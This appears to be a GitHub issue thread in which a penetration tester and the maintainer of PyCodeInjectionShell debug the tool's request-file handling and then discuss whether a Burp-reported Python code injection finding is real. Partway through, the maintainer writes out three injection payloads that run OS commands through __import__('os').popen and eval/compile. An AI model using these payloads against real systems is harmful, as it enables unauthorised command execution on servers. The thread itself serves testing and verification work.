Correct script arguments?

[juushya]

Hi,

I am trying out Python code injection on a POST request.

When specifying the -p along with -r <request-file.txt>, the script throws the following error:

# ./PyCodeInjectionShell.py -c whoami -p <parameter> -r request-file.txt 
[!] Request file and specified parameter are not currently supported together. 
[!]Please place a * in the request file

After modifying the parameter value to a * in the request, and running the script again throws the following error:

# ./PyCodeInjectionShell.py -c whoami -r request-file.txt 
Traceback (most recent call last):
  File "./PyCodeInjectionShell.py", line 226, in <module>
    parsed_url,headers,data = parse_request(options.cmd,options.request,options.parameter)
ValueError: need more than 2 values to unpack

What might be missing here?

[sethsec]

Thanks for the submission @juushya. I was doing something dumb withe the content-length when there was a request file. Should be fixed, can you check it out and let me know if it works?

Also, you'll need to add -c or -i

[juushya]

Hi @sethsec it continues to throw the same errors.

Here's the sample (GET) request file:

GET /page?limit=1&offset=0&sortedBy=id HTTP/1.1
Host: 192.168.26.156
Connection: close
Pragma: no-cache
Accept: application/json, text/plain, */*
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Referer: https://192.168.26.156/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=<really-long-string>

I have tried keeping the limit=1 and limit=*.

# ./PyCodeInjectionShell.py -c whoami -p limit -r req-1.txt 
[!] Request file and specified parameter are not currently supported together. 
[!]Please place a * in the request file

# ./PyCodeInjectionShell.py -c whoami -r req-1.txt 
Traceback (most recent call last):
  File "./PyCodeInjectionShell.py", line 226, in <module>
    parsed_url,headers,data = parse_request(options.cmd,options.request,options.parameter)
ValueError: need more than 2 values to unpack

Seen with python 2.7.6.

If there is any other info that might help you here, do let me know.

[sethsec]

Alright! I think I got it. Can you try now? Same command you have in your comment should do. Also, You'll have to use the limit=* for now, as I still have not coded the ability to use -p in the request file. That said, it is nice to work in this project again, so maybe I'll add that in the near future.

Let me know if it works now, thanks!

[juushya]

This fixed the error. Thanks.!

However, now a valid session is not getting handled. I am taking the request (including the cookie) of an existing session.

# ./PyCodeInjectionShell.py -c whoami -r req-1.txt 
/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)

[!] Could not found command output.  Debug info:

---------------Response Headers---------------
{'Content-Length': '122', 'set-cookie': 'XSRF-TOKEN=kzD6k31c-SWXrpdnF7C7NB2PGRTKna9O_2Ek; Path=/, sid=s%3AeRjFpV4Se_H8tNtMHvgFmHEFo-u5f_0y.%2F6JoI09mJWvXDy5NmVYGve%2BXqOl82Xpae4RMDZSlB08; Path=/; HttpOnly', 'Strict-Transport-Security': 'max-age=31536000; includeSubDomains', 'Vary': 'Accept-Encoding', 'Server': 'nginx', 'Connection': 'close', 'ETag': 'W/"7a-w5hrq5SeWjKV3O5KaOq+dUIRGxc"', 'Date': 'Thu, 09 Nov 2017 06:22:44 GMT', 'Content-Type': 'application/json; charset=utf-8'}
---------------Response Content---------------
{"error":{"message":"The user session is expired, Please re-login.","level":"warn"}}

[sethsec]

For that, I don't believe it is a bug in the code (but it could be). Is the web app is detecting that you are taking a session from one machine and using it somewhere else? Is the IP that you are getting the session cookie from and the IP that you are running PyCodInjectionShell different? Is the app validating the XSRF-token and changing it each request? Like can you send your original request to burp repeater and repeat the same request over and over, or does it also complain about the session being expired there as well?

[juushya]

@sethsec I did check these. PyCodeInjectionShell is being run from the same box / IP as the browser (session). XSRF-Token changes with each request, yes, but the app does not validate whether each request carries the new XSRF-Token; thereby, allowing repeating of the same request. The same request with same XSRF-Token & cookie returns 200 each time. Also, Sessions stay alive for several hours (session from morning is still active now), thus ruling out a possibility of a invalid session.

I didn't think the original issue could be due to Cookie/Headers, & had removed a few details from the sample HTTP request in my message earlier.

The actual cookie structure is:
Cookie: XSRF-Token=<value>; sid=<value>; param1=<value>;

The Header also contains a X-XSRF-Token, which is the same value as XSRF-Token in Cookie. With each request, XSRF-Token, & X-XSRF-Token changes. The XSRF-Token does not seem mandatory; the requests succeed w/o it as well.

[sethsec]

I think i understand. Just wondering, what is the reason you think it is vulnerable? Did burp or another scanner report it as vulnerable? If so, that would really help troubleshooting because we can start with that POC and expand it into a repeatable exploit like I did with this tool.

Also, I think you are saying one of the cookie values is vuln, right? Is it possible that the app is using that cookie to validate the session and if you add the other stuff to make the exploit work, it fails the validation check because it is not the real value? just a thought.

Also, have you checked out https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html?

I would start from burp repeater and try to add one of the following to the value of the cookie parameter:

__import__('os').popen('COMMAND').read()

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))

Lastly, it is possible that instead of replacing the value of the vulnerable parameter like PyCodeInjectionShell does, maybe it is only vulnerable when you append it to the value that is already there. Trick there is how to make the python interpreter ignore the first part and only execute the eval part. Going back to your original source of detection might help there.

Make sense?

[juushya]

@sethsec This Python Code Injection issue was picked up by Burp. I did read through your article (quite helpful!) and decided to use PyCodeInjectionShell to verify the finding. The vuln parameter is in the query string (limit et all), and not the cookie. Manually injecting the eval payload(s) in limit (or other parameters) only resulted in time out / server error (as Burp also noted). I suspect this may be a false positive eventually or not exploitable but figured the right payload might make the difference..

[sethsec]

Got it. The burp timeout is like sqli, right? It tells it to sleep for 20 seconds or something. Can you change it to 2 seconds or 10 seconds and see if it repeatedly different? that will at least tell you if it is some other server slowness and def a false positive, or not. Good luck!

[juushya]

@sethsec correct, burp payload is similar to what you documented in your article. I have tested the vuln parameter for varying time(s), & the app behavior response has not been consistent. Therefore, I am inclined to consider it a false positive now. Thanks again!

[sethsec]

Thanks for the issue! It made me fix two bugs in the project and made it more usable for others. Cheers!